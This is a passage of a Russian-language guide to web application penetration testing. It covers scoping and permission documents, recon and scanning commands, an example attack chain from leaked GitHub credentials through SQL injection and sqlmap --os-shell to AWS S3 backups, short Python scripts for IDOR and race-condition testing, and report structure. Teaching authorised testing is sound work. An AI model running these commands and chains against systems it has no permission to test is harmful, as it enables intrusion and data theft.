Проведение пентеста веб-приложения

Проведение пентеста веб-приложения

Пентест (penetration testing) — контролируемая симуляция реальной атаки на веб-приложение. В отличие от аудита безопасности, пентест фокусируется на активной эксплуатации уязвимостей и цепочках атак (attack chains), а не только на выявлении отдельных проблем.

Виды пентеста по уровню знаний

Black Box — тестировщик не имеет информации о системе. Максимально реалистично имитирует внешнего атакующего. Занимает больше времени на разведку.

Grey Box — частичная информация (аккаунты обычного пользователя, общая архитектура). Наиболее распространённый вариант для веб-приложений.

White Box — полный доступ к коду, архитектуре, учётным данным. Позволяет найти максимум уязвимостей за минимальное время.

Методологии

• OWASP Testing Guide — де-факто стандарт для веб-приложений
• PTES (Penetration Testing Execution Standard) — методология всего процесса
• WSTG (Web Security Testing Guide) — 150+ конкретных тест-кейсов

Фаза 1: Pre-engagement

Документы перед началом:
- Statement of Work (SoW) — область тестирования, исключения
- Rules of Engagement — допустимые техники, временные рамки
- Permission Letter — письменное разрешение на тестирование
- Emergency Contacts — кто звонить при обнаружении критической уязвимости

Scope-документ:
- IN SCOPE: *.example.com, api.example.com, admin.example.com
- OUT OF SCOPE: example.com/blog (сторонняя платформа), CDN
- Testing window: будние дни 09:00-18:00 UTC (чтобы минимизировать влияние)

Фаза 2: Разведка (OSINT)

# Subdomain enumeration
subfinder -d example.com -o subdomains.txt
assetfinder --subs-only example.com >> subdomains.txt
amass enum -passive -d example.com >> subdomains.txt

# DNS enumeration
dnsx -l subdomains.txt -a -aaaa -cname -mx -resp

# Google Dorks
site:example.com filetype:pdf
site:example.com inurl:admin
site:example.com "index of /"

# Поиск leaked credentials
github.com поиск по "example.com password"
truffleHog github --org example-org --token $GITHUB_TOKEN

# Certificate transparency
curl "https://crt.sh/?q=%.example.com&output=json" | jq '.[].name_value'

# Wayback Machine — удалённые, но кешированные страницы
waybackurls example.com | sort -u

Фаза 3: Сканирование и анализ

# Полное сканирование портов
nmap -sV -sC -p- -T4 --open target.example.com \
     -oA scans/nmap_full

# Веб-сканирование
gobuster dir -u https://target.example.com \
    -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt \
    -x php,html,js,json,txt -o gobuster.txt

# Технический стек
wapiti -u https://target.example.com --modules all -o wapiti_report.html

# JavaScript-анализ (часто содержит API-ключи, внутренние эндпоинты)
gau target.example.com | grep "\.js$" | sort -u > js_files.txt
cat js_files.txt | xargs -I {} linkfinder -i {} -o cli

Фаза 4: Эксплуатация

Пример цепочки атаки (attack chain):

1. OSINT: найдена утечка credentials в GitHub-репозитории разработчика
2. Панель администратора: /admin доступна без 2FA
3. Login с найденными credentials → успешный вход
4. Admin panel: функция "Export users" → SQL-инъекция в параметре filter
5. sqlmap --os-shell → Remote Code Execution
6. Извлечение .env файла → ключи AWS S3
7. aws s3 ls → доступ к бэкапам базы данных

Аутентификация и сессии:

# Перебор токена сброса пароля
# Если токен = timestamp в base64 — предсказуем
python3 -c "import base64, time; print(base64.b64encode(str(int(time.time())).encode()).decode())"

# Session fixation
GET /login?PHPSESSID=attacker_controlled_session_id
→ Если после логина session ID не меняется — уязвимо

Insecure Direct Object Reference:

# Массовое тестирование IDOR с двумя аккаунтами
import requests

session_a = "cookie_user_a"
session_b = "cookie_user_b"

# Список объектов, принадлежащих пользователю B
objects_b = [101, 102, 103, 204, 305]

for obj_id in objects_b:
    r = requests.get(
        f"https://target.com/api/documents/{obj_id}",
        cookies={"session": session_a}  # Запрос от пользователя A
    )
    if r.status_code == 200:
        print(f"IDOR confirmed: document {obj_id} accessible by other user")

Race Conditions:

# Одновременное использование одного промокода
import threading, requests

def apply_promo(session_token):
    r = requests.post("https://target.com/api/promo/apply",
        json={"code": "PROMO50"},
        headers={"Authorization": f"Bearer {session_token}"}
    )
    print(f"Status: {r.status_code}, Response: {r.text}")

# Запустить 10 одновременных запросов
threads = [threading.Thread(target=apply_promo, args=(token,)) for _ in range(10)]
[t.start() for t in threads]
[t.join() for t in threads]

Фаза 5: Post-exploitation

После успешной эксплуатации документируется максимальное влияние:

• Какие данные доступны (PII, финансовые, медицинские)
• Возможность горизонтального перемещения (lateral movement)
• Возможность сохранения доступа (persistence)
• Влияние на бизнес (regulatory, financial, reputational)

Фаза 6: Reporting

Структура отчёта:

1. Executive Summary
   - Общая оценка риска (Critical/High/Medium/Low)
   - Топ-3 критических находки простым языком
   - Рекомендации для руководства

2. Техническая часть
   - Каждая уязвимость: описание → PoC → impact → remediation
   - Скриншоты и HTTP-трафик как доказательства
   - CVSS score для каждой находки

3. Методология
   - Используемые инструменты
   - Хронология тестирования
   - Что НЕ тестировалось и почему

4. Дорожная карта исправлений
   - P1 (Critical): исправить за 24–72 часа
   - P2 (High): исправить за 1–2 недели
   - P3 (Medium/Low): следующий релиз

Retesting

После исправления уязвимостей проводится повторное тестирование (retesting) конкретных находок. Важно: retesting только найденных уязвимостей, а не повторный полный пентест.

Сроки проведения